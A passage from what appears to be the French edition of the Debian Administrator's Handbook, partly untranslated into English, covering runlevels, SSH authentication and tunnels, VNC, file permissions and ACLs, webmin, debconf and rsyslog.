init distingue plusieurs niveaux d'exécution car il peut basculer de l'un à l'autre par la commande telinit nouveau-niveau. Dès son invocation, init exécute à nouveau /etc/init.d/rc avec le nouveau niveau d'exécution désiré, script qui démarre à son tour les services manquants et arrête ceux qui ne sont plus souhaités. Pour cela, il se réfère au contenu du répertoire /etc/rcX.d (où X représente le nouveau niveau d'exécution). Les scripts débutant par « S » (comme Start) sont des services à démarrer, ceux débutant par « K » (comme Kill) sont des services à stopper. Le script évite de redémarrer tout service déjà actif dans le niveau d'exécution précédent.

Dans Debian, le système d'initialisation System V n'utilise par défaut que quatre runlevels différents|:

- Le niveau 0 n'est utilisé que de manière transitoire, lors de la phase d'extinction de l'ordinateur. Il contient donc de nombreux scripts « K ».

- Le niveau 1, aussi connu sous le nom de single-user, correspond au système en mode dégradé ; il ne contient que les services de base et est prévu pour les opérations de maintenance en dehors de l'interaction des utilisateurs.

- Le niveau 2 est le niveau de fonctionnement normal, qui inclut les services réseau, l'interface graphique, les connexions des utilisateurs, etc.

- Le niveau 6 est similaire au niveau 0, à ceci près qu'il est utilisé lors de la phase d'extinction qui précède un redémarrage.

D'autres niveaux existent, notamment de 3 à 5. Ils sont par défaut configurés pour fonctionner de la même manière que le niveau 2, mais l'administrateur peut les modifier (en ajoutant ou supprimant des scripts dans les répertoires /etc/rcX.d/ correspondants) pour les adapter à un besoin particulier.

Figure 9.2. Étapes du démarrage d'un ordinateur sous Linux avec le système d'initialisation System V

All the scripts contained in the various /etc/rcX.d directories are really only symbolic links — created upon package installation by the update-rc.d program — pointing to the actual scripts which are stored in /etc/init.d/. The administrator can fine tune the services available in each runlevel by re-running update-rc.d with adjusted parameters. The update-rc.d(1) manual page describes the syntax in detail. Please note that removing all symbolic links (with the remove parameter) is not a good method to disable a service. Instead you should simply configure it to not start in the desired runlevel (while preserving the corresponding calls to stop it in the event that the service runs in the previous runlevel). Since update-rc.d has a somewhat convoluted interface, you may prefer using rcconf (from the rcconf package) which provides a more user-friendly interface.

CHARTE DEBIAN Redémarrage des services

Les scripts de configuration des paquets Debian redémarrent parfois certains services pour assurer leur disponibilité ou leur faire prendre en compte certaines nouvelles options. La commande de manipulation d'un service service service opération ne prend pas en compte le niveau d'exécution, suppose (à tort) que le service est actuellement employé et peut donc effectuer des opérations inadéquates (démarrage d'un service volontairement arrêté, ou arrêt d'un service déjà stoppé, etc.). Debian a donc introduit le programme invoke-rc.d, auquel les scripts de configuration doivent recourir pour appeler les scripts d'initialisation des services. Il n'exécutera que les commandes nécessaires. Attention, contrairement à l'usage, le suffixe .d est ici employé sur un nom de programme et non pas sur un répertoire.

Enfin, init démarre les programmes de contrôle des différentes consoles virtuelles (getty). Ils affichent une invite, attendent un nom d'utilisateur, puis exécutent login utilisateur pour démarrer une session.

VOCABULAIRE Console et terminal

Les premiers ordinateurs étaient habituellement séparés en plusieurs parties, très volumineuses : l'armoire de stockage et l'unité de calcul étaient distinctes des organes de contrôle utilisés par les opérateurs. Ceux-ci constituaient donc un meuble à part, la « console ». Ce terme est resté, mais sa signification a évolué. Il est devenu plus ou moins synonyme de « terminal » : un ensemble constitué d'un clavier et d'un écran.

Au fil de l'évolution de l'informatique, les systèmes d'exploitation ont proposé plusieurs consoles virtuelles pour offrir plusieurs sessions indépendantes en même temps, même s'il n'existe physiquement qu'un clavier et un écran. La plupart des systèmes GNU/Linux proposent ainsi six consoles virtuelles (en mode texte), accessibles grâce aux combinaisons de touches Control+Alt+F1 à Control+Alt+F6.

By extension, the terms “console” and “terminal” can also refer to a terminal emulator in a graphical session (such as xterm, gnome-terminal or konsole).

9.2. Connexion à distance

Il est essentiel pour un administrateur de pouvoir se connecter à distance sur un ordinateur. Les serveurs, confinés dans leur propre salle, disposent en effet rarement d'un clavier et d'un écran connectés en permanence — mais sont reliés au réseau.

B.A.-BA Client, serveur

Lorsqu'un système comporte plusieurs mécanismes qui communiquent entre eux, on emploie souvent la métaphore client/serveur. Le serveur désigne alors le programme qui attend des requêtes en provenance d'un client, puis les exécute. C'est le client qui dirige les opérations, le serveur ne prenant pas d'initiatives de lui-même.

9.2.1. Connexion à distance sécurisée : SSH

Le protocole SSH (Secured Shell, ou shell sécurisé) a été conçu dans une optique de sécurité et de fiabilité. Les connexions ainsi mises en place sont sûres : le partenaire est authentifié et tous les échanges sont chiffrés.

CULTURE Telnet et RSH sont obsolètes

Avant l'apparition de SSH, Telnet et RSH étaient les outils les plus largement utilisés pour se connecter à distance. Ils sont maintenant véritablement obsolètes et ne devraient plus être utilisés (même si Debian continue de les fournir).

VOCABULAIRE Authentification, chiffrement

When you need to give a client the ability to conduct or trigger actions on a server, security is important. You must ensure the identity of the client; this is authentication. This identity usually consists of a password or passphrase that must be kept secret, or any other client could it. This is the purpose of encryption, which is a form of encoding that allows two systems to communicate confidential information on a public channel while protecting it from being readable to others.

L'authentification et le chiffrement sont souvent évoqués ensemble, à la fois parce qu'ils interviennent fréquemment conjointement et parce qu'ils sont en général mis en œuvre à l'aide de concepts mathématiques similaires.

SSH offre encore deux services de transfert de fichiers. scp est un utilitaire en ligne de commande qui s'emploie comme cp sauf que tout chemin sur une autre machine sera préfixé du nom de celle-ci suivi du caractère deux-points.

$ scp fichier machine:/tmp/

sftp est un programme interactif très similaire à ftp. Ainsi, une même session sftp peut transférer plusieurs fichiers et il est possible d'y manipuler les fichiers distants (supprimer, changer leur nom ou leurs droits, etc.).

Debian emploie OpenSSH, version libre de SSH maintenue par le projet OpenBSD (un système d'exploitation libre basé sur un noyau BSD et qui se focalise sur la sécurité) et fork du logiciel SSH originel développé par la société finlandaise SSH Communications Security Corp. Celle-ci, qui en avait débuté le développement sous la forme d'un logiciel libre, avait en effet décidé de le poursuivre sous une licence propriétaire. Le projet OpenBSD créa donc OpenSSH pour maintenir une version libre de SSH.

B.A.-BA Fork

Le terme fork (fourche, ou projet dérivé), dans le cadre d'un logiciel, désigne un nouveau projet, concurrent de l'original dont il s'inspire, et qu'il a entièrement copié au début. Ces deux logiciels identiques divergent rapidement sur le plan du développement. C'est souvent un désaccord dans l'équipe qui est à l'origine d'un fork.

Cette possibilité provient directement du caractère libre d'un logiciel ; un fork est sain lorsqu'il permet la poursuite du développement sous forme de logiciel libre (en cas de changement de licence par exemple). Un fork issu d'un désaccord technique ou relationnel est souvent un gâchis de ressources humaines ; on lui préférera la résolution du différend. Il n'est d'ailleurs pas rare d'assister à la fusion des branches d'un fork quand elles font ce constat amer.

OpenSSH is split into two packages: the client part is in the openssh-client package, and the server is in the openssh-server package. The ssh meta-package depends on both parts and facilitates installation of both (apt install ssh), while the task-ssh-server, often chosen during the initial installation, depends on the server package only.

9.2.1.1. Authentification par clé

Chaque fois que l'on se connecte par SSH, le serveur distant demande un mot de passe pour authentifier l'utilisateur. Cela peut être problématique si l'on souhaite automatiser une connexion ou si l'on emploie un outil qui requiert de fréquentes connexions par SSH. C'est pourquoi SSH propose un système d'authentification par clé.

The user generates a key pair on the client machine with ssh-keygen -t rsa; the so generated public key is stored in ~/.ssh/id_rsa.pub, while the corresponding private key is stored in ~/.ssh/id_rsa. The user can then use ssh-copy-id server to add their public key to the ~/.ssh/authorized_keys file on the server, or, if SSH access hasn't been enabled yet, they have to ask the administrator to add their key manually.

If the private key was not protected with a “passphrase” at the time of its creation, all subsequent logins on the server will work without a password. Otherwise, the private key must be decrypted each time by entering the passphrase. Fortunately, ssh-agent allows us to keep private keys in memory to not have to regularly re-enter the password. For this, you simply use ssh-add (once per work session) provided that the session is already associated with a functional instance of ssh-agent. Debian activates it by default in graphical sessions, but this can be deactivated by changing /etc/X11/Xsession.options and commenting out use-ssh-agent. For a console session, you can manually start the agent with eval $(ssh-agent).

SÉCURITÉ Protection de la clé privée

Quiconque dispose de la clé privée peut se connecter sur le compte ainsi configuré. C'est pourquoi l'accès à la clé privée est protégé par une « phrase de passe ». Quelqu'un qui récupérerait une copie d'un fichier abritant une clé privée (par exemple ~/.ssh/id_rsa) devrait encore retrouver cette phrase avant de pouvoir l'utiliser. Cette protection supplémentaire n'est cependant pas inviolable et si l'on pense que ce fichier a été compromis, il vaut mieux désactiver cette clé sur les ordinateurs où elle a été installée (en la retirant des fichiers authorized_keys) et la remplacer par une clé nouvellement générée.

CULTURE Faille OpenSSL de Debian Etch

The OpenSSL library, as initially provided in Debian Etch, had a serious problem in its random number generator (RNG). Indeed, the Debian maintainer had made a change so that applications using it would no longer generate warnings when analyzed by memory testing tools like valgrind. Unfortunately, this change also meant that the RNG was employing only one source of entropy corresponding to the process number (PID) whose 32,000 possible values do not offer enough randomness.

→ https://www.debian.org/security/2008/dsa-1571

Concrètement, chaque fois que OpenSSL était employé pour générer une clé, il produisait systématiquement une clé comprise dans un ensemble connu de quelques centaines de milliers de clés (32 000, multipliées par un petit nombre de longueurs de clés). Cela affectait les clés SSH, SSL et les certificats X.509 employés par de nombreuses applications comme OpenVPN. Un pirate n'avait plus qu'à essayer toutes les clés pour essayer d'obtenir un accès non autorisé. Pour réduire l'impact du problème, le démon SSH a été modifié pour refuser les clés problématiques qui sont recensées dans les paquets openssh-blacklist et openssh-blacklist-extra. De plus, le programme ssh-vulnkey permet d'identifier d'éventuelles clés compromises présentes sur le système.

Une analyse plus poussée de cet incident permet de se rendre compte que c'est le fruit de multiples (petits) problèmes tant au niveau du projet OpenSSL que du mainteneur du paquet Debian. Une bibliothèque aussi largement employée que OpenSSL devrait — sans modifications — ne pas générer d'avertissements lorsque scrutée par valgrind. En outre, le code (en particulier des parties aussi sensibles que le RNG) mériterait d'être mieux commenté pour éviter de telles erreurs. De son côté, le mainteneur Debian, en voulant faire valider sa modification par les développeurs d'OpenSSL, s'est contenté d'expliquer la modification sans fournir de patch à relire, et a négligé de préciser son rôle au sein de Debian. Enfin, ses choix de maintenance n'étaient pas optimaux : les changements effectués par rapport au logiciel original n'étaient pas clairement documentés ; toutes les modifications étaient certes stockées dans un dépôt Subversion mais elles se retrouvaient agglomérées en un seul patch lors de la création du paquet source.

It is difficult under such conditions to find the corrective measures to prevent such incidents from recurring. The lesson to be learned here is that every divergence Debian introduces to upstream software must be justified, documented, submitted to the upstream project when possible, and widely publicized. It is from this perspective that the new source package format (“3.0 (quilt)”) and the Debian sources webservice were developed.

→ https://sources.debian.org

9.2.1.2. Cert-Based Authentication

SSH keys cannot just be protected by a password (or not). An often unknown feature is that they can also be signed via certificate, both the host as well as the client keys. This approach comes with several advantages. Instead of maintaining an authorized_keys file per user as described in the previous section, the SSH server can be configured to trust all client keys signed by the same certificate (see also Section 10.2.2, « Infrastructure de clés publiques easy-rsa ») by using the TrustedUserCAKeys and HostCertificate directives in /etc/ssh/sshd_config.

TrustedUserCAKeys /etc/ssh/ssh_users_ca.pub

HostKey /etc/ssh/ssh_host_ecdsa_key

HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub

Vice-versa the clients can also be configured to trust the host key signed by the same authority, making it easier to maintain the known_hosts file (even system wide via /etc/ssh/known_hosts).

@cert-authority *.falcot.com ssh-rsa AAAA[..]

Both, public key and certificate authentication, can be used alongside each other.

9.2.1.3. Utiliser des applications X11 à distance

Le protocole SSH permet de faire suivre (forward) les données graphiques (dites « X11 », du nom du système graphique le plus répandu sous Unix) : le serveur leur réserve alors un canal de données spécifique. Concrètement, une application graphique exécutée à distance peut s'afficher sur le serveur X.org de l'écran local et toute la session (manipulation comme affichage) sera sécurisée. Cette fonctionnalité donne à une application exécutée à distance de nombreuses possibilités d'interférer sur le système local, elle est donc préventivement désactivée par défaut ; on l'activera en précisant X11Forwarding yes dans le fichier de configuration /etc/ssh/sshd_config du serveur. L'utilisateur pourra ensuite en profiter en spécifiant l'option -X de ssh.

GOING FURTHER Magic cookies in .Xauthority

When a user connects via SSH and starts a remote X11 session, a so-called magic cookie is created and stored in the .Xauthority file in the user's home directory that initiated the connection. This cookie is used by xauth to authenticate the user during the X session. If the user impersonates another user on the system, e.g. using su or sudo, then the cookie is not copied automatically to the target user and the X server will refuse to start graphical applications under the target user's context. You will have to copy the magic cookie into the target user's home directory (by exporting and re-importing the cookie via xauth) to allow another user to start graphical programs as well during the X session.

9.2.1.4. Créer des tunnels chiffrés avec le port forwarding

Ses options -R et -L permettent à ssh de créer des « tunnels chiffrés » entre deux machines, déportant de manière sécurisée un port TCP (voir l'encadré B.A.-BA TCP/UDP) local vers une machine distante ou vice versa.

VOCABULAIRE Tunnel

Le réseau Internet et la plupart des réseaux locaux qui y sont raccordés fonctionnent en mode paquet et non en mode connecté, c'est-à-dire qu'un paquet émis depuis un ordinateur en direction d'un autre va s'arrêter sur plusieurs routeurs intermédiaires pour être acheminé jusqu'à sa destination. On peut néanmoins simuler un fonctionnement connecté, selon lequel le flux est encapsulé dans des paquets IP normaux ; ces paquets suivent leur chemin habituel, mais le flux est restitué tel quel à destination. On parle alors de « tunnel », par analogie avec un tunnel routier, dans lequel les véhicules roulent directement de l'entrée à la sortie sans rencontrer de carrefours, par opposition au trajet en surface qui impliquerait des intersections et des changements de direction.

On peut profiter de l'opération pour ajouter du chiffrement au tunnel : le flux qui y circule est alors méconnaissable de l'extérieur, mais il est restauré à son état de flux en clair à la sortie du tunnel.

ssh -L 8000:serveur:25 intermediaire lance un ssh qui établit une session vers intermediaire tout en écoutant le port 8000 local. Toute connexion établie sur ce port fera débuter par ssh une connexion de l'ordinateur intermediaire vers le port 25 de serveur, à laquelle ssh la reliera.

ssh -R 8000:serveur:25 intermediaire établit également une session SSH vers intermediaire, mais c'est sur cette machine que le processus ssh écoute le port 8000. Toute connexion établie sur ce port fera débuter par ssh une connexion depuis la machine locale vers le port 25 de serveur, à laquelle ssh la reliera.

Dans les deux cas, il s'agit de créer des connexions vers le port 25 de la machine serveur, qui passent au travers du tunnel SSH établi entre la machine locale et la machine intermediaire. Dans le premier cas, l'entrée du tunnel est le port 8000 local et les données transitent vers intermediaire avant de se diriger vers serveur sur le réseau « public ». Dans le second cas, l'entrée et la sortie du tunnel sont inversées : l'entrée est le port 8000 d'intermediaire, la sortie est locale et les données se dirigent ensuite vers serveur depuis la machine locale. En pratique, dans les cas d'usage les plus courants, le serveur est soit la machine locale, soit l'intermédiaire.

Figure 9.3. Déport d'un port local par SSH

Figure 9.4. Déport d'un port distant par SSH

9.2.2. Accéder à distance à des bureaux graphiques

VNC (Virtual Network Computing, ou informatique en réseau virtuel) permet d'accéder à distance à des bureaux graphiques.

Cet outil sert principalement en assistance technique : l'administrateur peut constater les erreurs de l'utilisateur et lui montrer la bonne manipulation sans devoir se déplacer à ses côtés.

First, the user must authorize sharing their session. The GNOME graphical desktop environment includes that option via Settings → Sharing (contrary to previous versions of Debian, where the user had to install and run vino). For this to work network-manager must be managing the network used (e.g. enable the managed mode for devices handled by ifupdown in /etc/NetworkManager/NetworkManager.conf). KDE Plasma still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc or tightvncserver commands (from the Debian packages of the same name) or tigervncserver (tigervnc-standalone-server) serve the same purpose and provide the vnc-server virtual package; you can make either of them available to the user with an explicit menu or desktop entry.

When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while the KDE project provides krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xtightvncviewer from the homonym package or xtigervncviewer from the tigervnc-viewer Debian package. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.

SÉCURITÉ VNC sur SSH

Si l'on souhaite se connecter par VNC et si on ne veut pas que les données circulent en clair sur le réseau, il est possible de les encapsuler dans un tunnel SSH (voir Section 9.2.1.4, « Créer des tunnels chiffrés avec le port forwarding »). Il faut simplement savoir que VNC emploie par défaut le port 5900 pour le premier écran (appelé « localhost:0 »), 5901 pour le second (appelé « localhost:1 »), etc.

La commande ssh -L localhost:5901:localhost:5900 -N -T machine crée un tunnel entre le port local 5901 de l'interface localhost et le port 5900 de l'ordinateur machine. Le premier localhost contraint SSH à n'écouter, sur la machine locale, que sur cette interface. Le second localhost désigne l'interface de la machine distante à laquelle SSH communiquera le trafic réseau expédié à localhost:5901. Ainsi, vncviewer localhost:1 connectera le client VNC à l'écran distant bien que l'on indique le nom de la machine locale.

Une fois la session VNC terminée, il convient de ne pas oublier de fermer le tunnel en quittant la session SSH ouverte à cette fin.

B.A.-BA Gestionnaire d'écran

gdm3, kdm, lightdm, and xdm are Display Managers (they all provide the x-display-manager meta package). They take control of the graphical interface shortly after boot in order to provide the user a login screen. Once the user has logged in, they execute the programs needed to start a graphical work session.

9.3. Gestion des droits

Linux est résolument multi-utilisateur ; il est donc nécessaire de prévoir un système de permissions contrôlant les opérations autorisées pour chacun sur les fichiers et répertoires, recouvrant toutes les ressources du système (y compris les périphériques : sur un système Unix, tout périphérique est représenté par un fichier ou répertoire). Ce principe est commun à tous les Unix mais un rappel est toujours utile, d'autant qu'il existe quelques usages avancés méconnus et relativement intéressants.

9.3.1. Owners and Permissions

Chaque fichier ou répertoire dispose de permissions spécifiques pour trois catégories d'utilisateurs :

- son propriétaire (symbolisé par u comme user) ;

- son groupe propriétaire (symbolisé par g comme group) — représentant tous les utilisateurs membres du groupe ;

- les autres (symbolisés par o comme other).

Three basic types of rights can be combined:

- lecture (symbolisé par r comme read) ;

- écriture (ou modification, symbolisé par w comme write) ;

- exécution (symbolisé par x comme eXecute).

Dans le cas d'un fichier, ces droits sont faciles à interpréter : l'accès en lecture permet d'en consulter le contenu (et notamment de le copier), l'accès en écriture de le modifier et l'accès en exécution permet de tenter de l'exécuter (ce qui ne fonctionnera que s'il s'agit d'un programme).

SÉCURITÉ Exécutables setuid et setgid

Two particular rights are relevant to executable files: setuid and setgid (symbolized with the letter “s”). Note that we frequently speak of “bit”, since each of these Boolean values can be represented by a 0 or a 1. These two rights allow any user to execute the program with the rights of its owner or its group, respectively. This mechanism grants access to features requiring higher level permissions than those you would usually have.

Un programme setuid root s'exécutant systématiquement sous l'identité du super-utilisateur, il est très important d'en contrôler la fiabilité. En effet, un utilisateur capable de le détourner pour lui faire appeler une commande de son choix pourrait alors endosser l'identité de root et avoir tous les droits sur le système.

If you require running a program under a different user or if a program requires higher permissions, the sudo, su, or runuser commands are usually better choices than using these bits (see Section 8.9.4, « Partage des droits d'administration »).

Un répertoire est traité différemment. L'accès en lecture donne le droit de consulter la liste de ses entrées, l'accès en écriture celui d'y créer ou supprimer des fichiers et l'accès en exécution de le traverser (et notamment de s'y rendre avec la commande cd). Pouvoir traverser un répertoire sans le lire donne le droit d'accéder à celles de ses entrées dont on connaît le nom, mais pas de les trouver si on ignore leur existence ou leur nom exact.

SÉCURITÉ Répertoire setgid et sticky bit

Le bit setgid s'applique également aux répertoires. Toutes les entrées qu'on y créera recevront alors pour groupe propriétaire celui du répertoire, au lieu de prendre comme c'est l'habitude le groupe principal de leur créateur. Cela évitera à celui-ci de changer de groupe principal (par la commande newgrp) lors d'un travail dans une arborescence partagée entre plusieurs utilisateurs d'un même groupe dédié.

Le bit sticky (symbolisé par la lettre « t ») est un droit qui n'est utile que sur les répertoires. Il est notamment employé pour les répertoires temporaires ouverts en écriture à tous (comme /tmp/) : il n'autorise la suppression d'un fichier que par son propriétaire ou celui de son répertoire parent. En son absence, tout le monde pourrait supprimer les fichiers d'autrui dans /tmp/.

Trois commandes manipulent les permissions associées à un fichier:

- chown utilisateur fichier affecte un nouveau propriétaire à un fichier;

- chgrp groupe fichier opère sur son groupe propriétaire;

- chmod droits fichier intervient sur ses droits.

Il existe deux manières de présenter les droits ; parmi elles, la représentation symbolique, sans doute la plus simple à comprendre et mémoriser, met en jeu les lettres symboles déjà citées. Pour chaque catégorie d'utilisateurs (u/g/o), on peut définir les droits (=), en ajouter (+), ou en retrancher (-). Ainsi, la formule u=rwx,g+rw,o-r donne au propriétaire les droits de lecture, d'écriture et d'exécution ; ajoute au groupe propriétaire les droits de lecture et d'écriture ; et supprime le droit de lecture aux autres utilisateurs. Les droits non concernés par les opérations d'ajout ou de retranchement restent inchangés. La lettre a, pour all, recouvre les trois catégories d'utilisateurs, de sorte que a=rx donne aux trois catégories les mêmes droits (lecture et exécution, mais pas écriture).

La représentation numérique octale associe chaque droit à une valeur : 4 pour la lecture, 2 pour l'écriture et 1 pour l'exécution. On associe à chaque combinaison de droits la somme de ces chiffres, valeurs qu'on attribue ensuite aux différentes catégories d'utilisateurs en les mettant bout à bout dans l'ordre habituel (propriétaire, groupe, autres).

For instance, the chmod 754 file command will set the following rights: read, write and execute for the owner (since 7 = 4 + 2 + 1); read and execute for the group (since 5 = 4 + 1); read-only for others. The 0 (zero) means no rights; thus chmod 600 file allows for read/write rights for the owner, and no rights for anyone else. The most frequent right combinations are 755 for executable files and directories, and 644 for data files.

Pour représenter le cas échéant les droits spéciaux, on pourra préfixer à ce nombre un quatrième chiffre selon le même principe, sachant que les bits setuid, setgid et sticky valent respectivement 4, 2 et 1. chmod 4754 associera donc le bit setuid aux droits décrits précédemment.

On notera que l'utilisation de la notation numérique octale ne permet que de modifier en bloc l'ensemble des droits sur un fichier ; on ne peut pas l'utiliser pour se contenter d'ajouter par exemple le droit en lecture pour le groupe propriétaire, puisqu'il faut obligatoirement prendre en compte les droits existants et calculer la nouvelle valeur numérique correspondante.

ASTUCE Application récursive

Il arrive que l'on doive changer les permissions de toute une arborescence. Toutes les commandes décrites disposent donc d'une option -R, effectuant l'opération demandée de manière récursive.

The distinction between directories and files sometimes causes problems with recursive operations. That is why the “X” letter has been introduced in the symbolic representation of rights. It also represents the right to execute, but it applies differently to directories and files.

For directories it adds executable permissions to the chosen user(s). For files, it adds the executable bit only if at least one of the users (owner, group, or others) already has executable permissions. Let's demonstrate it, because this bit can be confusing:

$ ls test.txt

-rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod u+X test.txt

$ ls test.txt

-rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod o+x test.txt

$ ls test.txt

-rw-r--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod u+X test.txt

$ ls test.txt

-rwxr--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

The example shows a typical file with its default permissions: its owner can read and write it, the owner's group and all other users can read it. The next operation (u+X) won't add executable permissions for the owner of the file, because permissions to execute have not been assigned. The operation has no effect on the file. Next we assign execute rights for "other" users and repeat the operation. This time it is successful, because at least one user group already had executable permissions.

It is a misconception that this bit will only affect directories. If files and directories have mixed permissions, it is often a good idea to use the find command to locate the targets you want to operate on.

TIP Changing the user and group together

Frequently you want to change the group of a file at the same time that you change the owner. The chown command has a special syntax for that: chown user:group file. This syntax can also be used to recursively (-R) change the ownership of a whole directory.

POUR ALLER PLUS LOIN umask

When an application creates a file, it assigns indicative permissions, knowing that the system automatically removes certain rights, given by the command umask. Enter umask in a shell; you will see a mask such as 0022. This is simply an octal representation of the rights to be systematically removed. In this case, the write right for the group and other users: With the above umask value, the default for directories 777 becomes 755 and the default permissions for files 666 become 644.

The system's default value is handled by pam_umask(8) and /etc/login.defs.

If you give it a new octal value, the umask command modifies the mask. Used in a shell initialization file (for example, ~/.bashrc or ~/.profile), it will effectively change the default mask for your work sessions.

9.3.2. ACLs - Access Control Lists

Many filesystems, e.g. Btrfs, Ext3, Ext4, JFS, XFS, etc., support the use of Access Control Lists (ACLs). These extend the basic features of file ownership and permission, described in the previous section, and allow for a more fine-grained control of each (file) object. For example: A user wants to share a file with another user and that user should only be able to read the file, but not write or change it.

For some of the filesystems, the usage of ACLs is enabled by default (e.g. Btrfs, Ext3, Ext4). For other filesystems or older systems it must be enabled using the acl mount option - either in the mount command directly or in /etc/fstab. In the same way the usage of ACLs can be disabled by using the noacl mount option. For Ext* filesystems one can also use the tune2fs -o [no]acl /dev/device command to enable/disable the usage of ACLs by default. The default values for each filesystem can usually be found in their homonym manual pages in section 5 (filesystem(5)) or in mount(8).

After enabling ACLs, permissions can be set using the setfacl(1) command, while getfacl(1) allows one to retrieve the ACLs for a given object or path. These commands are part of the acl package. With setfacl one can also configure newly created files or directories to inherit permissions from the parent directory. It is important to note that ACLs are processed in their order and that an earlier entry that fits the situation has precedence over later entries.

If a file has ACLs set, the output of the ls -l command will show a plus-sign after the traditional permissions. When using ACLs, the chmod command behaves slightly different, and umask might be ignored. The extensive documentation, e.g. acl(5) contains more information.

9.4. Interfaces d'administration

Recourir à une interface graphique d'administration est intéressant dans différentes circonstances. Un administrateur ne connaît pas nécessairement tous les détails de configuration de tous ses services et n'a pas forcément le temps de se documenter à leur sujet. Une interface graphique d'administration accélérera donc le déploiement d'un nouveau service. Par ailleurs, elle pourra simplifier la mise en place des réglages des services les plus pénibles à configurer.

Une telle interface n'est qu'une aide, pas une fin en soi. Dans tous les cas, l'administrateur devra maîtriser son comportement pour comprendre et contourner tout problème éventuel.

Aucune interface n'étant parfaite, on est par ailleurs tenté de recourir à plusieurs solutions. C'est à éviter dans la mesure du possible, car les différents outils sont parfois incompatibles de par leurs hypothèses de travail. Même si tous visent une grande souplesse et tentent d'adopter comme unique référence le fichier de configuration, ils ne sont pas toujours capables d'intégrer des modifications externes.

9.4.1. Administrer sur interface web : webmin

C'est sans doute l'une des interfaces d'administration les plus abouties. Il s'agit d'un système modulaire fonctionnant dans un navigateur web, couvrant une vaste palette de domaines et d'outils. Par ailleurs, il est internationalisé et relativement bien traduit en français.

Figure 9.5. Tableau de bord Webmin

Sadly, webmin is no longer part of Debian. Its Debian maintainer removed the packages created because they no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Debian does not provide the webmin package.

Il existe toutefois un paquet non officiel, distribué sur le site webmin.com. Contrairement aux paquets initialement présents dans Debian, ce dernier est monolithique : tous les modules de configuration sont installés et activés par défaut même si le service correspondant n'est pas installé sur la machine.

SÉCURITÉ Mot de passe root

On the first login, identification is conducted with the root username and its usual password (or any user's login credentials which belongs to the sudo group). It is recommended to change the password used for webmin as soon as possible, so that if it is compromised, the server's user accounts will not be involved, even if this confers important administrative rights to the machine.

Beware! Since webmin has so many features, a malicious user accessing it could compromise the security of the entire system. In general, interfaces of this kind are not recommended for important systems with strong security constraints (firewall, sensitive servers, etc.), and they are not recommended to be exposed to the public either.

Webmin s'emploie par le biais d'une interface web mais il ne nécessite pas pour autant d'avoir Apache installé : en effet, ce logiciel dispose d'un mini-serveur web dédié. Ce dernier écoute par défaut sur le port 10 000 et accepte les connexions HTTP sécurisées.

Les modules intégrés couvrent une large palette de services, citons notamment :

- all base services: creation of users and groups, management of crontab files, service scripts/files, viewing of logs, etc.

- bind : configuration du serveur DNS (service de noms) ;

- postfix : configuration du serveur SMTP (courrier électronique) ;

- network services: configuration of the xinetd super-server;

- disk quota: user quota management;

- dhcpd : configuration du serveur DHCP ;

- proftpd : configuration du serveur FTP ;

- samba : configuration du serveur de fichiers Samba ;

- software : installation ou suppression de logiciels à partir des paquets Debian et mise à jour du système.

L'interface d'administration est accessible depuis un navigateur web à l'adresse https://localhost:10000. Attention ! tous les modules ne sont pas directement exploitables ; il faut parfois les configurer en précisant les emplacements du fichier de configuration concerné et de quelques exécutables. Souvent, le système vous y invite poliment lorsqu'il n'arrive pas à faire fonctionner le module demandé.

ALTERNATIVE Le panneau de contrôle de GNOME

Le projet GNOME fournit également plusieurs interfaces d'administration, généralement accessibles via l'entrée « Paramètres système » du menu utilisateur en haut à droite de l'écran. gnome-control-center est l'outil principal qui les rassemble, mais beaucoup des outils de configuration du système lui-même sont en réalité fournis par d'autres paquets (accountsservice, system-config-printer, etc.). Même si ces applications sont faciles d'usage, elles ne couvrent qu'une petite partie des services de base : gestion des utilisateurs, configuration de l'horloge, du réseau, des imprimantes, etc.

9.4.2. Configuration des paquets : debconf

Many packages are automatically configured after asking a few questions during installation through the Debconf tool. These packages can be reconfigured by running dpkg-reconfigure -plevel package.

Dans la plupart des cas, ces réglages sont très simples : seules quelques variables importantes du fichier de configuration sont modifiées. Ces variables sont parfois regroupées entre deux lignes « démarcatrices » de sorte qu'une reconfiguration du paquet limite sa portée sur la zone qu'elles délimitent. Dans d'autres cas, une reconfiguration ne changera rien si le script détecte une modification manuelle du fichier de configuration, l'objectif étant bien évidemment de préserver ces interventions humaines (le script se considère alors incapable d'assurer que ses propres modifications ne perturberont pas l'existant).

CHARTE DEBIAN Préserver les modifications

La charte Debian demandant expressément de tout faire pour préserver au maximum les changements manuels apportés aux fichiers de configuration, de plus en plus de scripts modifiant ces derniers prennent des précautions. Le principe général est simple : le script n'effectue des modifications que s'il connaît l'état du fichier de configuration, vérification effectuée par comparaison de la somme de contrôle du fichier avec celle du dernier fichier produit automatiquement. Si elles correspondent, le script s'autorise à modifier le fichier de configuration. Dans le cas contraire, il considère qu'on y est intervenu et demande quelle action il doit effectuer (installer le nouveau fichier, conserver l'ancien, ou tenter d'intégrer les nouvelles modifications au fichier existant). Ce principe de précaution fut longtemps propre à Debian, mais les autres distributions l'embrassent peu à peu.

Le programme ucf (du paquet Debian éponyme) offre des facilités pour gérer cela.

9.5. Les événements système de syslog

9.5.1. Principe et fonctionnement

Le démon rsyslogd a pour charge de collecter les messages de service provenant des applications et du noyau puis de les répartir dans des fichiers de logs (habituellement stockés dans le répertoire /var/log/). Il obéit au fichier de configuration /etc/rsyslog.conf.

Chaque message de log est associé à un sous-système applicatif (nommé facility dans la documentation) :

- auth et authpriv : concernent l'authentification ;

- cron : provient des services de planification de tâches, cron et atd ;

- daemon : concerne un démon sans classification particulière (serveur DNS, NTP, etc.) ;

- ftp : concerne le serveur FTP ;

- kern : message provenant du noyau ;

- lpr : provient du sous-système d'impression ;

- mail : provient de la messagerie électronique ;

- news : message du sous-système Usenet (notamment du serveur NNTP — Network News Transfer Protocol, ou protocole de transfert des nouvelles sur le réseau — gérant les forums de discussion) ;

- syslog : message du serveur syslogd lui-même ;

